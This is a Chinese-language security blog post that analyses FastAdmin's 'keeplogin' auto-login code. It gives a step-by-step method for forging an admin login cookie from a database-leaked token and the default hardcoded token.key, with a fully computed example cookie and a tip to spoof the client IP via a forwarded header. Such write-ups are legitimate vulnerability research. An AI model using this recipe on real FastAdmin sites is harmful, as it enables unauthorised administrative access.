Keye 不懂渗透的网络打手

Fastadmin另类利用的方式----Token伪造Cookies

📃
⚠️ 本文最后更新于2024年10月08日,已经过了197天没有更新,若内容或图片失效,请留言反馈

Fastadmin

fastadmin.jpg
FastAdmin是一款基于ThinkPHP+Bootstrap的极速后台开发框架。

利用条件

在有数据库读权限的情况下(例如SQL注入),无法通过新增用户登录后台可利用逻辑伪造登录。

代码分析

application/admin/controller/Index.php中查看login方法,其中有一段代码如下,

if ($this->auth->autologin()) {
    Session::delete("referer");
    $this->redirect($url);
}

跟进autologin(),在application/admin/library/Auth.php中找到autologin()方法

public function autologin()
{
    $keeplogin = Cookie::get('keeplogin');
    if (!$keeplogin) {
        return false;
    }
    list($id, $keeptime, $expiretime, $key) = explode('|', $keeplogin);
    if ($id && $keeptime && $expiretime && $key && $expiretime > time()) {
        $admin = Admin::get($id);
        if (!$admin || !$admin->token) {
            return false;
        }
        //token有变更
        if ($key != $this->getKeeploginKey($admin, $keeptime, $expiretime)) {
            return false;
        }
        $ip = request()->ip();
        //IP有变动
        if ($admin->loginip != $ip) {
            return false;
        }
        Session::set("admin", $admin->toArray());
        Session::set("admin.safecode", $this->getEncryptSafecode($admin));
        //刷新自动登录的时效
        $this->keeplogin($admin, $keeptime);
        return true;
    } else {
        return false;
    }
}

整个变量$keeplogin处于可控状态,只需要满足函数getKeeploginKey的返回值为真且IP与数据库中的IP一致即可。
跟进函数getKeeploginKey

public function getEncryptKeeplogin($params, $keeptime)
{
    $expiretime = time() + $keeptime;
    $key = md5(md5($params['id']) . md5($keeptime) . md5($expiretime) . $params['token'] . config('token.key'));
    return implode('|', [$this->id, $keeptime, $expiretime, $key]);
}

这里两个值不可控,其中$params['token']config('token.key')分别在数据库及配置文件中。

利用分析

我们仅需有数据库的读数据权限(往往是SQL注入漏洞获得)可尝试利用。
其余config('token.key')在配置文件中为硬编码,在不修改的情况下可利用该逻辑伪造登录后台。
分析代码,确定利用方式如下

id-->11-->6512bd43d9caa6e02c990b0a82652dca

keeptime-->86400-->641bed6f12f5f0033edd3827deec6759

expiretime-->1728386749-->94ce8cac9f4abe2fc673bc9a48c8e3aa

token-->84430494-801e-4302-a032-c302ca0b3dfe

key-->6512bd43d9caa6e02c990b0a82652dca641bed6f12f5f0033edd3827deec675994ce8cac9f4abe2fc673bc9a48c8e3aa84430494-801e-4302-a032-c302ca0b3dfei0TzJlGnaCqvgWASw3ZN1kREY5DbO42I-->54cada4a0d23bf68e7b8dcc2e9eb6e6c

token.key-->i0TzJlGnaCqvgWASw3ZN1kREY5DbO42I

keeplogin-->11|86400|1728386749|54cada4a0d23bf68e7b8dcc2e9eb6e6c

得出keeplogin后添加到cookie,IP利用X-foward伪造即可。


本文首发于keye.wang,转载请注明出处。

By Keye On